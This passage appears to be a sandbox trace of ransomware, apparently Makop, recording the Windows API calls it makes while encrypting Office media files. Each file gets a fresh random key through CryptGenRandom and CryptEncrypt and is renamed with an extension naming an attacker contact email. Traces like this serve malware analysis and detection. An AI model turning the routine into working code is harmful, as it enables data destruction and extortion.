ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb803b00, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x6ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18253_.WMF", cAlternateFileName="")) returned 1 [0166.941] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF") returned 70 [0166.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.943] GetProcessHeap () returned 0x48a0000 [0166.943] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.943] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.943] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.943] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.948] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.948] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.948] GetProcessHeap () returned 0x48a0000 [0166.948] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.948] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.949] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.949] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.949] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.949] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.949] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.949] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.949] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.950] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.950] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.950] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.950] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6ac, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x6ac, lpOverlapped=0x0) returned 1 [0166.950] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x6b0, dwBufLen=0x6b0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x6b0) returned 1 [0166.950] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.950] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x6b0, lpOverlapped=0x0) returned 1 [0166.950] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.950] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.951] SetEndOfFile (hFile=0x130) returned 1 [0166.956] GetProcessHeap () returned 0x48a0000 [0166.956] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.956] GetProcessHeap () returned 0x48a0000 [0166.957] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.957] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.957] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18253_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.959] CloseHandle (hObject=0x130) returned 1 [0166.959] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bca4100, ftCreationTime.dwHighDateTime=0x1bddcab, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1bca4100, ftLastWriteTime.dwHighDateTime=0x1bddcab, nFileSizeHigh=0x0, nFileSizeLow=0x796, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18254_.WMF", cAlternateFileName="")) returned 1 [0166.959] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF") returned 70 [0166.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.962] GetProcessHeap () returned 0x48a0000 [0166.962] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.962] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.962] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.962] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xa, lpOverlapped=0x0) returned 1 [0166.966] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.966] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.966] GetProcessHeap () returned 0x48a0000 [0166.967] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.967] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.967] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.967] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.967] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.967] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.967] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.967] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.968] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.968] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.968] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.968] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.968] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x796, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x796, lpOverlapped=0x0) returned 1 [0166.968] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x7a0, dwBufLen=0x7a0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x7a0) returned 1 [0166.968] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.968] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x7a0, lpOverlapped=0x0) returned 1 [0166.968] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.968] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.969] SetEndOfFile (hFile=0x130) returned 1 [0166.975] GetProcessHeap () returned 0x48a0000 [0166.975] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.975] GetProcessHeap () returned 0x48a0000 [0166.975] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.975] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.975] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18254_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18254_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.977] CloseHandle (hObject=0x130) returned 1 [0166.977] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55feb900, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x55feb900, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18255_.WMF", cAlternateFileName="")) returned 1 [0166.977] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF") returned 70 [0166.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.979] GetProcessHeap () returned 0x48a0000 [0166.979] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.979] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.979] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.980] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0166.984] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.984] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.984] GetProcessHeap () returned 0x48a0000 [0166.984] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.984] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.984] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.984] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.984] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.984] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.985] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.985] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.985] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.985] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.985] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.985] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.985] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x822, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x822, lpOverlapped=0x0) returned 1 [0166.986] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x830, dwBufLen=0x830 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x830) returned 1 [0166.986] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.986] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x830, lpOverlapped=0x0) returned 1 [0166.986] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.986] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.986] SetEndOfFile (hFile=0x130) returned 1 [0166.992] GetProcessHeap () returned 0x48a0000 [0166.992] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.992] GetProcessHeap () returned 0x48a0000 [0166.992] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.992] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.993] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18255_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.995] CloseHandle (hObject=0x130) returned 1 [0166.996] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a21700, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd7a21700, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x8ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18256_.WMF", cAlternateFileName="")) returned 1 [0166.996] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF") returned 70 [0166.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.997] GetProcessHeap () returned 0x48a0000 [0166.998] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.998] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.998] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0167.001] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0167.002] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0167.002] GetProcessHeap () returned 0x48a0000 [0167.002] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0167.002] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0167.002] CryptDestroyKey (hKey=0x48c7168) returned 1 [0167.002] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0167.002] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0167.002] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0167.002] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0167.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0167.003] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0167.003] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0167.003] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0167.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.003] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8ac, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x8ac, lpOverlapped=0x0) returned 1 [0167.003] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x8b0, dwBufLen=0x8b0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x8b0) returned 1 [0167.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.003] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x8b0, lpOverlapped=0x0) returned 1 [0167.004] CryptDestroyKey (hKey=0x48c7168) returned 1 [0167.004] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.004] SetEndOfFile (hFile=0x130) returned 1 [0167.010] GetProcessHeap () returned 0x48a0000 [0167.010] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0167.010] GetProcessHeap () returned 0x48a0000 [0167.010] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0167.010] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0167.010] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF" 